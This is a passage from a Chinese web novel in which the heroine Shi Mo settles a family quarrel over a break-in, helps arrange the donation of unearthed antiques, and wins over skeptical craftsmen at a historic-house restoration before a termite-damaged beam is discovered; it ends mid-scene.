他恨铁不成钢地瞪着赵虎,气的指着他的手都在抖:“赵虎!我让你帮着搬东西,你跑这儿干什么来了?!我出门前怎么跟你说的?让你别乱碰院里的东西,你当耳旁风是吧?!” “我没撬门!锁真是自己锈掉的!”赵虎还在嘴硬,梗着脖子喊,“我就进去看了一眼,又没拿东西,凭什么让我赔!” “你还敢犟嘴!”赵海霖气得火冒三丈。 “本来就是,我又没撒谎。”赵虎不服气地嘟囔。 “妹,你放心,这事哥给你做主。”时建军往前站了一步,挡在时墨身边,冷冷地扫了赵虎一眼,“我早就警告过你,别乱碰我妹的东西,你不听。今天这事,没完。” 时墨没再看赵虎,对着时建军道:“哥,你去胡同口找个三轮车,带个师傅过来,今天把这仓房里的东西,全都拉回我小院去,一点都别剩。” “好嘞!我现在就去!”时建军应了一声,狠狠瞪了赵虎一眼,转身就往外走。 时建军一走,赵海霖再也压不住火,转身从墙根抄起一根顶门的木棍,攥在手里,青筋都暴起来了。 “赵虎,你给我过来!” 赵虎一看那棍子,脸都白了,撒腿就跑:“哥!你干啥!我真没拿东西!” “我让你手欠!让你乱翻别人东西!昨天摔了人家的瓶子,今天又撬人家的门!你是要把我气死是不是!”赵海霖追上去,棍子带着风声就落了下来。 赵虎嗷地一声惨叫,撒腿就往院子里跑,上蹿下跳地躲棍子。他年纪小腿脚灵便,可赵海霖是干惯了活的,追得他满院子乱窜,棍子结结实实地落在他屁股上,疼得他直蹦高。 “哥我错了!我再也不敢了!你别打了!”赵虎疼得眼泪都出来了,一边跑一边求饶,“我不该进仓房!不该翻人家东西!我再也不敢了!” “现在知道错了?早干什么去了!”赵海霖气得眼睛都红了,今天这事,不仅对不起时墨,更是在街坊邻居面前丢尽了人,不把这小子打服了,以后指不定还惹出什么滔天大祸。 东屋的老李头、西屋的张大婶,还有院里其他几户租户,听见动静都推门出来看热闹,一看这场面,再听两句,就全明白是怎么回事了。 张大婶手里还拿着纳了一半的鞋底,靠在门框上,啧啧两声:“这孩子,真是皮得没边了。昨天刚摔了时丫头的东西,今天就敢撬人家锁着的门,这要是不好好管管,以后还了得?” 老李头披着棉袄,慢悠悠地说了句:“三岁看大,七岁看老,手脚不干净的毛病,就得从小治。时丫头够仁义了,换个脾气爆的,直接就报警了,十五六岁,少管所也能进了。” “就是!”旁边的租户跟着附和,“人家租房子给你,够照顾亲戚了,你倒好,反手撬人家的门,这叫什么事啊!” 邻居们的议论一句句飘进耳朵里,赵海霖脸上更挂不住了,一把薅住赵虎的后脖领,照着他屁股又狠狠抽了两棍子:“你给我老实交代!进仓房到底想干什么?有没有拿东西!” “我真没拿!里面就一堆破木头,啥值钱的都没有!我就是好奇进去看看!”赵虎疼得哭爹喊娘,彻底没了之前的嚣张劲儿,“哥我真的错了!以后我再也不碰别人的东西了!你别打我了!” “你记住你今天说的话!再敢犯一次,我打断你的腿!爸妈拦着也不好使!”赵海霖扔了棍子,气得胸口起伏。 他看了时墨一眼,见她站在那儿不吭声,脸色还是冷着的,心里更觉得过意不去。 他转身对着媳妇王桂英道:“媳妇,你在这儿继续收拾屋子,我今天必须把这小兔崽子送回家去!再让他在这儿待两天,指不定还惹出什么祸事!” 说着,他一把拽住赵虎的胳膊,力气大得赵虎疼得直咧嘴,半点反抗的余地都没有。 “行,你去吧,路上慢点,注意安全。”王桂英连忙点头,又对着赵虎骂道,“你个惹祸精!一天到晚就知道给我们添乱!回去让爸妈好好收拾你!” 赵海霖揪着赵虎的后脖领,走到时墨面前,语气诚恳,还带着浓浓的羞愧:“墨墨,今天这事是哥不对,没看好他,给你惹了麻烦。你放心,我这就把他送回去,保证不让他再进城来添乱。锁和箱子的钱,我回来就给你送过来。你看看院里还丢了什么东西,你告诉我,多少钱我都赔。” 时墨点了点头,脸色缓和了些:“海霖哥,咱们一码归一码。今天这事跟你和嫂子没关系,是赵虎自己的问题。但这孩子要是再这么惯着,迟早惹出大事,送回去好好管教也好。” 时墨这才又补了一句:“你今天要是赶不回来,就让嫂子去我家住,别一个人在这边,不安全。” “哎,好,谢谢你墨墨。”赵海霖心里满是感激,知道时墨是个明事理的,没因为弟弟的事迁怒他们两口子,揪着还在哭唧唧的赵虎就往外走。 赵虎还想再说什么,被他哥狠狠一瞪,立马老老实实闭了嘴,耷拉着脑袋跟在后头,走的时候连看都不敢看时墨一眼。 两人一走,王桂英赶紧凑到时墨跟前,满脸歉意地赔笑,语气里带着几分讨好:“墨墨,你太客气了。我收拾完就回旅馆住,不麻烦你们了。今天这事真是对不住,海霖回去肯定好好管他,你千万别往心里去。我们两口子在这儿住,绝对守规矩,院里的一草一木我们都不会碰,你放心。” “嫂子,我说了,一码归一码。”时墨没迁怒于她,语气彻底缓和下来,“你们是你们,赵虎是赵虎,我不会因为他,对你们有什么看法。” 王桂英松了口气,又压低声音道:“墨墨,你千万别跟那孩子一般见识,他就是从小被我公婆惯坏了,我这当嫂子的也不好多说什么。以后他要是再敢来胡闹,我第一个拦着,绝不让他再给你添乱,你别因为这事跟我们家生分了。” 时墨笑了笑,没接这个话茬,转而说起了正事:“嫂子,你们这房子要修屋顶、刷墙,我知道胡同口有个张师傅,手艺不错,价钱也公道,回头我把他家地址给你。” “好好好,真是太麻烦你了墨墨!”王桂英连忙道谢,心里彻底踏实了,时墨这话,就是没把他们往外推,这事就算翻篇了。 没一会儿,时建军从外面回来了,身后跟着一辆平板三轮车,车夫是胡同口拉活的老 周,俩人都撸着袖子,准备干活。 “妹,车叫来了。”时建军擦了把汗,“老周跟我熟,价钱也公道。” 时墨冲仓房的方向扬了扬下巴:“哥,你们把里面的东西都搬上车,拉到我小院去,一点都别剩。” “好嘞!”时建军二话不说,撸起袖子就进了仓房。 老李头等人一看要搬东西,也撸起袖子热心过来帮忙:“墨墨,要搬东西是吧?我们搭把手!人多力量大,几下就搬完了!” “建军,我帮你搭把手!”老李头虽然上了年纪,手脚却还利索,弯腰就搬起一块轻些的旧门板。 “我也来,反正闲着也是闲着。”张大婶也跟着进来,拍拍木板上的灰,帮着往车上递东西。 时墨赶紧拦住:“李爷爷,张婶,这可使不得,我们自己来就行,别累着你们。” “客气啥!”张大婶嘴快,手里的活一点没停,“都是街坊邻居,搭把手的事。你家出了这么个不懂事的亲戚,也是够闹心的。” 老李头也跟着点头:“就是!那孩子是该好好管管。你一个姑娘家,别累着,这些粗活我们来就行。” 时墨见他们热情,也不好再推辞,连声道谢,在旁边指挥着装车,哪些怕碰、哪些不怕压,安排得明明白白。 仓房里本就没多少东西,几块旧门板、几张破桌子、一堆废木料,在外人看都不值什么钱。人多力量大,没一会儿就搬了个干净,整整齐齐码在了三轮车上。 东西都搬完,时墨给车夫结了钱,又给帮忙的邻居们塞了兜里带的奶糖和花生瓜子,连连道谢。 邻居们都笑着摆手,说都是街坊邻居,这点忙不算什么,又纷纷夸时墨办事有章程,明事理,不护短,也不软柿子任人捏。 老李头拍了拍手上的灰,感慨道:“墨墨啊,你这姑娘行,办事有章法。亲戚归亲戚,规矩归规矩,就得这样,才能长久。换个糊涂的,要么就撕破脸,要么就憋一肚子气,最后亲戚也做不成了。” 张大婶也点头附和:“就是!你那个表哥两口子看着还行,就是弟弟太不省心。不过有你今天这句话在前头,他们也得掂量掂量,以后不敢乱来了。” 时墨笑了笑:“李爷爷、张婶,今天真的谢谢你们了。改天我请你们喝茶。” “客气啥!都是邻居!” 东西都搬回了时墨家的小院,时建军和老周帮忙卸了车,兄妹俩才往家走。 路上,时建军忍不住说:“妹,之前我还觉得你今天有点太过了,现在才明白,你是对的。这赵虎就是个没规矩的,今天不把话说死,明天他真敢翻邻居家的窗户,到时候人家找上门来,咱们家脸都没地方放,还得替他擦屁股。” 时墨看了他一眼,笑了笑:“哥,亲戚之间相处,帮是情分,不帮是本分。但规矩必须立在前头,你越是无底线地让着,人家越是觉得理所当然,最后只会得寸进尺。今天我把丑话说透,不是要跟大姑家撕破脸,是为了以后少麻烦,也免得真出了大事,亲戚都做不成。” 时建军恍然大悟,连连点头:“是这个理!还是你想得周全。” 回到家,一进门就看见李秀兰坐在沙发上生闷气,脸拉得老长。时爱国在旁边陪着笑脸劝,看见兄妹俩回来,连忙问:“那边咋样了?都处理好了?” 时墨把今天的事原原本本说了一遍。李秀兰听完,气得直拍大腿:“这个赵虎!真是一点规矩都没有!你大姑也是,从小就惯着,惯出这么个混账东西!今天撬门,明天指不定干出什么事来!我刚才送你大姑他们去车站,就该当着她的面说两句!” “行了行了,瞧你说的气话。”时爱国叹了口气,打圆场,“海霖不是已经把孩子送回去了,也赔了不是,墨墨也没追究,这事就算过去了。当年大姐辍学供我读书,这份情分在这儿,总不能因为这点事,跟大姐家撕破脸吧?” “过去什么过去!”李秀兰瞪了他一眼,“昨天摔了瓶子,今天撬门,明天指不定干出什么事来!你那个大姐,就知道护犊子,从来不好好管管孩子!以后他再惹祸,难道还要我们替他兜着?” 时爱国被怼得说不出话来,只能唉声叹气。 时墨给李秀兰倒了杯温水,递到她手里:“妈,别气了。该说的我都说了,该立的规矩也立了。海霖哥是个明白人,以后他会看住赵虎的。再说了,今天院里的邻居都看着呢,赵虎要是再敢乱来,不用我开口,街坊邻居就得先把人轰出去,他也讨不到好。” 她又看向时爱国:“爸,我知道你念着大姑当年的情分,亲戚之间该帮的我们肯定帮,但不能无底线地纵容。帮急不帮穷,帮理不帮亲,这话到哪儿都没错。今天我把话说透,大姑要是明事理,就该知道是为了赵虎好;要是不明事理,那以后我们更得守好规矩,免得被赖上。” 时爱国愣了愣,随即叹了口气,点了点头:“墨墨,你说得对。是爸之前想得太简单了,就顾着情分,没考虑到这些。以后这事,爸听你的。” 李秀兰也消了气,拍了拍时墨的手:“还是我闺女想得通透。行,这事就翻篇了,以后他再敢来惹事,妈第一个不饶他。” “行了妈,别想了。”时墨拍拍她的肩膀,“大过年的,别为这点事生气。” * 转眼过了正月十五,年算是彻底过完了。时墨挑了个天气晴好的日子,拎着两盒点心骑车去了聚贤斋。 宋正先正在堂屋的八仙桌前,拿着软布细细擦一个刚收来的永乐青花碗,看见时墨进来,眼睛一亮,放下手里的东西笑道:“你这丫头,过年也没过来,我还以为你把师傅忘了呢。” “哪能啊师傅!”时墨笑着把东西递过去,“这几天家里亲戚走马灯似的来,实在走不开。这不,年一过完,我第一时间就来看您了。” 师徒俩坐在太师椅上,喝着茶说了会儿闲话,时墨说起了正事:“师傅,之前我帮着设计四合院的那个赵磊,您还记得吗?” 宋正先点点头,呷了口茶:“记得,怎么了?” “他家老宅子翻修地基的时候,从地下挖出个暗仓,藏了点东西。”时墨压低了声音,“他不敢随便找人看,想请您帮着掌掌眼,看看真假,也想问问您,这些东西该怎么处理合适。” 宋正先瞬间来了兴趣,放下茶杯:“挖出什么了?瓷器?铜器?” “我扫了一眼,有个汝窑的小洗子,一个宣德炉,还有个官窑笔洗,另外还有三十根大黄鱼,两封银元。具体的年代和品相,我不敢当着他的面乱下定论,怕说错了。” “行,让他明天上午过来吧。”宋正先点了点头,语气郑重起来,“这些东西,来路正就好。该捐的就捐,有些东西留在私人手里,不仅保不住,反而容易惹祸。你提前跟他透个底,让他心里有数。” “我知道了师傅,谢谢您。”时墨笑着应了,又陪着宋老聊了会儿最近收的物件,约好了时间,才告辞离开。 第二天上午,时墨准时领着赵磊来了聚贤斋。 赵磊拎着两个大包袱,紧张得手心都出汗了,走路都放轻了脚步,生怕碰坏了里面的东西。 时墨在八仙桌上铺了厚绒布,宋正先才让赵磊把东西一样样摆出来。 青釉汝窑洗,釉色温润如玉,开片细密如蝉翼,底部三个细小的芝麻钉,正是典型的北宋汝窑特征;宣德铜香炉,造型古朴端庄,栗壳色包浆厚重温润,底款“大明宣德年制”六字楷书,笔力遒劲;还有南宋官窑笔洗,胎质细腻,紫口铁足,釉面莹润,开片自然。 最后打开两个木盒,里面整整齐齐码着三十根十两重的大黄鱼,黄澄澄的闪着光,还有两封银元,封条完好,银光闪闪,摆了满满一桌子。 宋正先戴上老花镜,拿起放大镜,一样样细细端详,从釉色、胎质、款识,到包浆、工艺,看得仔仔细细,足足看了半个钟头,才放下放大镜,忍不住感慨:“好东西!都是真品!尤其是这汝窑洗,品相完整,釉色绝佳,存世量极少,真是难得的珍品!” 赵磊听得眼睛都亮了,搓着手,紧张地问:“宋老先生,那您看,这些东西……价值怎么样?留着行不行?” 宋正先看了他一眼,没直接说价钱,指着那堆金条银元道:“这些大黄鱼,每条十两,三十条就是三百两,按现在的金价,值个几万块。这些银元也是民国时期的官铸银元,品相完好,也值不少钱。至于这些瓷器铜炉——” 他顿了顿,语气郑重起来:“无价。你留着,是能传家的宝贝;捐给国家,是功在千秋的事。这些东西,不是单纯用钱能衡量的。” 赵磊听得心潮澎湃,又有点犯难:“那……宋老,您说我该怎么办?” 宋正先笑了笑,给他倒了杯热茶,话点得明明白白:“东西是你的,主意你自己拿。但我给你透个底,你要是捐给国家,能拿到官方的捐赠证书,上报纸,在文物局、博物馆都能挂上号。这份名声和人脉,做起生意来,比几万块钱好使多了。而且这些国宝放在博物馆里,有专人保护,能让更多人看到,也比放在你家里安全,不会惹来不必要的麻烦。” 赵磊瞬间就想通了。他一个外地来的生意人,在首都没根没底,缺的就是官方的认可和人脉。拿到国家的捐赠证书,在领导那里挂了名,以后再做生意,路就好走多了。更何况,这些国宝放在家里,他天天都得提心吊胆,生怕被人偷了抢了,捐给国家,反倒落个心安,还能得个好名声。 “宋老,谢谢您的指点!我听您的!”他当即就拍了板,语气坚定,“这些东西留着也是留着,不如捐给国家,也算我们赵家为国家文物保护做点贡献!麻烦您帮我搭个线!” 宋正先点了点头,眼里露出赞许之色:“好!小伙子有格局!这事我帮你张罗,你回去准备准备,过几天我带你去文物局和博物馆对接。” 赵磊千恩万谢,又跟宋老请教了些文物保护的常识,才激动地告辞离开。 时墨送他到门口,赵磊激动道:“墨墨,真是太谢谢你了!要不是你给我引荐宋老。这份情,哥记一辈子!” 时墨笑了笑:“赵哥,不用客气,也是你有这份心,愿意把国宝捐给国家。” 送走赵磊,时墨回到里屋,宋正先正在收拾桌上的东西,看见她进来,笑道:“你这丫头,眼光是真毒,这赵磊是个干事的人,心胸也开阔,以后前途不可限量。对了,我这儿还有个事,想问问你有没有兴趣。” “师傅您说,只要我能做的,肯定不推辞。”时墨立刻坐直了身子,眼神里满是认真。 “市里要修缮梅先生的故居纪念馆,这是老城区名人故居翻新改造的重点项目,北京古建筑研究所的孙教授,是我的老朋友,牵头负责这个项目,现在正缺人手。”宋正先慢悠悠地说,“我看你之前画的修缮图纸,功底扎实,思路也对。这是个难得的机会,能跟着老孙他们学东西,也能攒下资历,你有没有意向?” 时墨的眼睛瞬间亮了,心跳都快了两拍。 梅先生的故居修缮!这可是国家级的文保项目,能跟着古建筑研究所的泰斗级专家学习,这简直是天上掉馅饼的好事! “愿意!我当然愿意!”她想都没想就答应了,语气里满是激动,“师傅,太谢谢您了!这机会太难得了!我肯定好好学,绝不丢您的脸!” 宋正先笑得满脸是褶:“好!有志气!我跟老孙约了后天上午,在古建筑研究所见面,我带你过去。老孙是出了名的严,你回去好好准备准备,把你之前画的图纸带上,让他看看你的真本事。” “师傅您放心,我肯定好好准备!”时墨激动得不行,回去就让系统调出了传统古建筑榫卯结构大全、老四合院修缮规范、民国时期名人故居建筑形制的资料。 为了快速出记牢,时墨第一次从系统商城兑换了专注高效学习记忆的药丸。把自己之前画的四合院修缮图纸重新整理完善,还把梅先生故居的历史资料、原始建筑图纸,翻来覆去研究得烂熟于心,连每一处梁架的结构、每一种榫卯的样式,都记得清清楚楚。 到了约定的日子,宋正先带着时墨去了古建筑研究所。 牵头项目的孙教授,六十多岁,头发花白,戴着副黑框眼镜,说话慢条斯理,眼神里透着做学问的严谨。 “你就是时墨?正先天天在我耳边夸你,说你个小丫头,对古建筑有天赋。”孙教授上下打量了时墨一眼,语气淡淡的,听不出喜怒。 时墨微微躬身,态度谦虚:“孙教授您好,我就是跟着师傅学了点皮毛,还有很多东西要跟您和各位前辈学。” 孙教授点点头,没再多说,带着她和宋正先,去了梅先生故居的修缮现场。 院子里已经搭起了脚手架,工人们正在清理瓦砾,几个老工匠蹲在廊下,正对着几扇破损的雕花隔扇窗比划着什么,为首的是王木匠,祖传的宫廷造办处木匠手艺,干了一辈子古建筑修缮,在城里名气极大,是这次项目的木作总负责人。 “老王,这是新来的小同志,时墨。”孙教授简单介绍了一句,“这段时间跟着咱们项目一起做绘图和现场监工。” 王木匠抬头看了时墨一眼,见她才十八九岁的年纪,还是个姑娘家,眼神里瞬间露出了不屑,对着孙教授直言不讳道:“孙教授,不是我多嘴。这梅先生的故居,是国家级的文保项目,修缮起来一丝一毫都不能差。这小姑娘看着才十八九岁,毛都没长齐,能懂什么古建筑?让她来绘图、监工,万一出了岔子,这个责任,谁担得起?” 他旁边几个老工匠也纷纷附和,语气里满是轻视: “就是!王师傅说得对!古建筑修缮,靠的是几十年的手艺和经验,不是书本上那点死知识!” “一个小姑娘,连榫卯有多少种都未必认得全,哪能监得了这么大的工程?别到时候瞎指挥,把好好的故居修坏了!” “我们干了一辈子这个,从没听过让个小姑娘来管我们的,这不是开玩笑吗?” 几句话,把现场的气氛瞬间降到了冰点。 孙教授皱了皱眉,刚要替时墨说话,时墨却先开了口。 她看着王木匠,不卑不亢地笑了笑,语气平静却带着底气:“王师傅,各位师傅,我知道你们信不过我。论手艺、论实操经验,我确实不如各位师傅,毕竟各位师傅干了一辈子,我还是个晚辈,以后还要多向各位师傅请教。” “但古建筑修缮,不光要靠手艺,还要懂文保规则,懂古建筑的历史形制。梅先生的故居,不光是老房子,更是国家级文保单位,修缮的时候,不光要修得结实,更要修旧如旧,最小干预,一丝一毫都不能偏离民国时期的原始形制,更不能为了省事,破坏原有的建筑结构。” “说得比唱的还好听!”王木匠冷笑一声,根本没把她放在眼里,“修旧如旧?你知道这故居正房的梁架用的是什么榫卯结构?你知道这隔扇门的棂花是什么样式?你知道这青砖的烧制工艺?别拿着书本上的东西,在这儿班门弄斧!” 他说着,从随身的帆布包里掏出一张泛黄的图纸,“啪”地一声拍在旁边的木桌上,指着图纸上的梁架结构图,对着时墨道:“这是梅先生故居西厢房的梁架实测图,上面有三处榫卯破损,需要补配。你要是能在半个时辰内,把这三处破损的榫卯样式、尺寸、补配的工艺,还有符合文保要求的修缮方法,全都写出来、画出来,我老王头第一个服你,认你这个监工。要是写不出来,那对不起,这项目,你还是别掺和了,好好回去读你的书,别在这儿耽误大家伙儿的进度!” 周围的老工匠们都露出了看好戏的神情,孙教授和宋正先对视一眼,都有些担心。 这张图纸是现场实测的原始图纸,三处破损都在梁架的隐蔽处,没有几十年的实操经验,根本看不出榫卯的样式,更别说标注尺寸、制定修缮工艺了,这根本就是故意刁难。 可时墨却半点没慌,她低头看向图纸,眼神瞬间专注了起来。她太清楚了,在这个行当里,嘴皮子再厉害都没用,只有拿出真本事,才能让这些老匠人服气。 半个时辰,画出三处破损的榫卯结构,标注尺寸、工艺,还要符合文保规范。 这不仅是考验,更是刁难。 所有人的目光,都齐刷刷地落在了时墨的身上。 时墨却笑了。 她不慌不忙地走到桌前,低头看了看图纸,手指轻轻划过那三处标注破损的位置。图纸上线条复杂,标注密密麻麻,一般人看都看不懂。但她的手指停得极准,每一处都正好落在破损点上。 只见时墨拿起桌上的铅笔和白纸,连犹豫都没犹豫,俯身就画了起来。她的动作又快又稳,线条流畅精准,不过十几分钟,就把三处破损的位置标得清清楚楚。 “王师傅,您这三处破损,第一处是西厢房前檐金柱与穿插枋交接处的透榫,榫头断裂,需要按照原样补配。尺寸——大进小出,榫头长四寸二分,宽一寸八分,榫眼深三寸六分。”时墨拿起桌上的铅笔,在旁边的草纸上刷刷几笔,一个标准的透榫剖面图跃然纸上,尺寸标注得清清楚楚。 她头也不抬,继续往下说:“第二处是后檐墙与梁架交接处的暗燕尾榫,这种榫卯是京派古建的典型做法,榫头做成了燕尾形,藏在构件内部,外表看不出来。补配的时候要用老榆木,按原尺寸做,燕尾角度七分,榫头长五寸,宽二寸,尾部比头部宽三分。这样才能咬合紧密,再用百年也不会松动。” 她说着,又画了一张图,线条流畅,比例精确,连燕尾的弧度都画得分毫不差。 王木匠的脸色微微变了。这姑娘说的,跟他当年学徒时师傅教的,一字不差。那暗燕尾榫的做法,现在好多年轻工匠都不知道了,她一个十八九的小姑娘,竟然说得头头是道。 “第三处——”时墨的手指移到最后那个破损点,眉头微微皱了一下,抬头看向王木匠,“王师傅,这第三处,您标的不是破损位置。” 王木匠一愣:“你什么意思?” 时墨指着图纸上那个标注点,语气笃定:“这处标注的位置,是西厢房山墙的转角处。按图纸上的梁架结构来看,这地方用的是抄手榫,不应该有破损。您标在这里,是想考我能不能看出来吧?” 王木匠脸上的不屑瞬间僵住了。他瞪大眼睛看着时墨,嘴巴张了张,一个字都说不出来。 时墨笑了笑,拿起铅笔,在草纸上画了第三种榫卯的剖面图:“抄手榫,京派古建转角处的标准做法。两个构件互相咬合,像两只手抄在一起,所以叫抄手榫。尺寸是——大进小出,榫头长五寸,宽一寸六分,榫眼深四寸,榫头根部比端部宽两分,这样才能越卡越紧,越用越牢。” 她放下铅笔,把三张草图整整齐齐地推到王木匠面前,抬头看着他,目光平静:“王师傅,您看我这图,画得对不对?” 半个时辰还没到,时墨纸上不仅画好了三处榫卯的完整样式,标注了精准的尺寸,还详细写了补配工艺:木材必须选用与原梁架同材质的老红松,含水率必须控制在12%以内,补配采用“墩接”工艺,最小干预原结构,榫卯咬合必须严丝合缝,不能用一颗钉子,最后还要做旧处理,保证与原结构外观一致,完全符合国家级文保项目的修缮规范。 更让所有人震惊的是,时墨还在图纸旁边,标注了两处王木匠他们都没发现的问题:一处是梁架榫卯的受力点计算错误,按原图纸补配,会导致梁架承重不足,有坍塌风险;另一处是第三处管脚榫的磨损,不是自然老化,是当年岛国轰炸时的震损,内部已经出现了暗裂,必须做加固处理,不能只简单补配。 院子里安静极了。 几个老工匠面面相觑,脸上的表情从看笑话变成了震惊。他们都是行家,一眼就能看出那三张图的水平——榫卯结构画得分毫不差,尺寸标注精确到分,连榫头的倾斜角度都标得清清楚楚。这哪是“懂点皮毛”,这分明是下了苦功夫的。 王木匠看完纸上的内容,脸瞬间涨得通红,拿着图纸的手都在抖。他干了一辈子古建筑,刚才看图纸的时候,都没发现这两处隐患,眼前这个十八九岁的小姑娘,竟然一眼就看出来了,还给出了完整的解决方案! 时墨看着王木匠,不卑不亢地笑了笑:“王师傅,您看我画的、写的,还有什么不对的地方,您尽管指出来,我再改。” 王木匠回过神来,脸瞬间红到了脖子根,对着时墨语气里满是惭愧和佩服:“时同志,是我老王头有眼不识泰山,小瞧你了!你这本事,比我干了一辈子的老木匠都强!这监工,你当得!我老王头第一个服你!以后你说怎么修,我们就怎么干,绝无二话!” 时墨笑道:“王师傅谬赞了,我以后少不了麻烦您。” 周围的老工匠们,也纷纷对着时墨拱手,连声说着“佩服”“时同志厉害”,之前的轻视荡然无存,只剩下实打实的敬佩。 孙教授在旁边看得连连点头,眼里的赞许藏都藏不住。他推了推眼镜,笑拍宋正先的肩膀道:“正先!你果然没骗我!你这徒弟,真是个天才!不光有真本事,说话办事还这么稳当,难得。” 宋正先捋着胡子,笑得满脸褶子都开了:“那是!我宋正先看中的人,还能差得了?” 时墨连忙谦虚道:“孙教授您过奖了,王师傅各位师傅抬举了,我还有很多东西要跟各位前辈学。” 宋正先看向时墨,语气里带着几分得意:“墨墨,我还没告诉你呢。陈教授说了,只要你愿意,可以以特聘技术员的身份参与这个项目,等修缮工程结束,还能拿到官方的项目参与证明。这对你以后考大学、进文保系统,都是实打实的资历。” 时墨没想到今天惊喜一个接着一个,连忙对着孙教授鞠了一躬:“谢谢孙教授给我这个机会!我一定努力学,好好干!绝对不辜负您给我的机会和师傅的期望。” 孙教授摆摆手:“别谢我,是你自己有本事。不过我可把丑话说前头——这项目工期紧、任务重,你来了就得吃苦。早上八点到工地,晚上天黑了才收工,刮风下雨都得在。你能行吗?” “能行!”时墨想都没想就答应了。 【宿主,你不行!这死冷寒天的,在这里必须风吹日晒,不符合假期躺平计划!】系统蹦出来提醒道。 【嗨,我心里有数。】时墨不在意道。 【我看你没一点数,到时候惩罚临到别怪我没提醒你!】系统着急的不行,它看它宿主已经昏上头了! 【再说再说。】 旁边的王木匠插了一句嘴,语气已经没了刚才的轻视:“孙教授,这姑娘肯定行。有底子,愿意下功夫,差不了。” 就在这时,一个负责勘查梁架的工人,突然从脚手架上探出头来,脸色煞白地喊了一声:“孙教授!王师傅!不好了!正房的主梁里面,被白蚁蛀空了大半!整个梁架都快塌了!” 这话一出,现场所有人都变了脸色。 主梁是整个房子的“心脏”,一旦塌了,整个正房就全毁了!这可是梅先生故居的核心建筑,一旦出了问题,后果不堪设想! 所有人的目光,瞬间都齐刷刷地看向了脚手架的方向,现场的气氛瞬间紧张到了极点—— 作者有话说:明天开始会开防盗,一直没开是想着大家看文方便,没想到DWG也方便。我会从最低的30开始开,后续提高比例会提前跟大家说明,感谢支持正版的可爱美丽善良的读者们真心祝你们学业有成,事业更上一层楼,身体健康,发发发! 第65章 时墨抬起头, 看向脚手架上那个脸色煞白的工人,脑子开始琢磨起来。 主梁被白蚁蛀空,这是整个故居修缮工程里最要命的问题。主梁是整座建筑的“心脏”, 一旦出了问题, 轻则正房倾覆, 重则整个修缮工程都得推倒重来。 所有人一听都慌了神, 整个院子瞬间炸了锅。 “什么?!主梁被蛀空了?!”王木匠脸色手里的刨子“哐当”一声掉在地上转身就往脚手架那边冲,“怎么可能!我们进场前明明检查过,只是表面有虫眼,怎么会蛀空了?!” 王木匠脸色铁青,手都在发抖。他在古建筑行当干了一辈子, 最怕的就是白蚁。这东西看着不起眼, 啃起木头来悄无声息,等发现的时候, 整根梁早就成了空壳子, 什么时候塌都不知道。这次项目他是木作总负责人,真要是主梁出了事, 他这辈子的名声就全毁了。 孙教授也变了脸色, 扶了扶眼镜, 快步走到脚手架下, 仰头朝着上面喊::“小张!你看清楚了?蛀空了多少?具体在哪个位置?!” “孙教授!就在梁体中段!至少蛀空了三分之二!里面全是白蚁窝!手一抠都掉渣!这梁根本撑不住了!”脚手架上的工人声音都在抖, 手里的探杆差点没握住,“刚才我拿探杆捅了一下,里面全是空的, 稍微用点力就往下掉木屑,随时都可能塌!” 这话一出,现场更是乱成一团。几个老工匠脸色惨白, 凑在一起议论纷纷,声音里全是慌意: “完了!主梁要是废了,这正房就得拆了重建!” “拆了重建?你疯了?这是梅先生住了几十年的故居!文保单位!哪能说拆就拆?” “是啊,要是毁了,咱们这项目就彻底砸了,以后在行里还怎么混?” “还能怎么办?只能拆了换根新梁啊!不然塌了出人命,谁担得起这个责任?” “换梁?说得容易!这梁是民国时期的百年老红松,整根通长一丈二,现在上哪儿找同款的老料去?就算找到了,换了新梁,这故居的原真性就没了,文保验收根本过不了!” 众人吵得面红耳赤,拆也不是,不拆也不是,进退两难,孙教授脸色凝重地站在脚手架下,眉头拧成了疙瘩。 “孙教授,实在不行……就得拆梁了。”王木匠咬了咬牙,艰难地说道,“把主梁整个换下来,重新做一根同尺寸的安上去。这是眼下最稳妥的法子,虽然费时费力,但安全第一啊!” “不行!”孙教授想都没想就一口否了,“主梁是梅先生故居的核心原构件,文保修缮的原则是‘修旧如旧,最小干预’,拆了换新,那还叫什么修缮?那叫复建!不到万不得已,绝对不能走这一步!” “那怎么办?总不能眼睁睁看着它塌了吧?”王木匠急得直跺脚,额头上都冒出了汗珠子。 众人正吵得不可开交,谁也没注意到,时墨随手把图纸塞进兜里,抓起旁边的安全帽扣在头上,悄无声息地爬上了脚手架。 “哎!时墨!危险,快下来!”孙教授余光瞥见,吓了一跳,连忙伸手拦她,“上面梁架都不稳了,你上去干什么?!” 宋正先也被孙教授这一嗓子喊得,看到了时墨的举动,也吓到了:“哎哟,墨墨你快下来,一个小姑娘家家的,别瞎闹!赶紧快下来!” “孙教授,师傅,我就上去看看具体情况,不亲眼看看,定不了精准的方案。”时墨脚步没停,动作麻利地往上爬,脚手架被她踩得微微晃了晃,她却半点不慌,一只手扶着架子,另一只手已经搭上了横杆,“您放心,我心里有数,不会拿自己的安全开玩笑。” 【宿主!你疯了?!这梁随时都可能塌!】系统瞬间炸了毛,警报声在时墨脑子里响起,【快下来!太危险了!这脚手架的横杆承重都快到临界值了!你再往上爬,我都没法给你兜底!快停下!】 【别慌。】时墨语气平静,已经爬到了脚手架的顶层,离主梁只有一步之遥,【帮我扫描一下主梁的蛀空范围、梁体还剩多 少承重能力,还有白蚁窝的具体位置,精准到毫米。】 【可是——】 【别墨迹,你早点扫描我早点下去。】 【……行吧行吧,你赢了!你也就能拿捏我了。】系统虽然急得跳脚,但还是立刻启动了扫描功能,嘴里却不闲着,【宿主你站那儿别动!脚底下踩稳了!手扶住!别乱摸!那梁上全是白蚁,恶心死了!扫描ing……】 她小心翼翼地踩在脚手架的横杆上,凑近那根主梁。梁体表面看着完好,只有几个不起眼的小虫眼,可指尖轻轻一敲,里面传来的声音发空发闷,明显内里已经被蛀得不成样子了。 【扫描完成!】系统的声音瞬间正经起来,语速飞快,带着急意,【主梁总长3.8米,截面尺寸240X360毫米,白蚁蛀空区域集中在梁体中段1.2米范围,占总截面的32%。剩余完好木材承重能力为原设计的78%,未达到坍塌临界值。但是宿主,我要提醒你——】 【但是什么?】 【但是如果不及时加固,遇极端天气或震动,随时有断裂风险!白蚁窝主要集中在梁体下部的蛀洞内,暂时未扩散到其他构件。危险等级:高!高的那种高!你现在可以下去了吗?】 蛀空32%,比工人说的三分之二少了一大半,时墨心里瞬间有了底。 她又凑近了些,借着光仔细看了看蛀空的部位,伸手沿着梁体轻轻敲了一圈,仔细听着回音,和系统扫描的结果分毫不差。 【宿主?宿主你还在看什么?结果出来了,赶紧下去!】系统催促道。 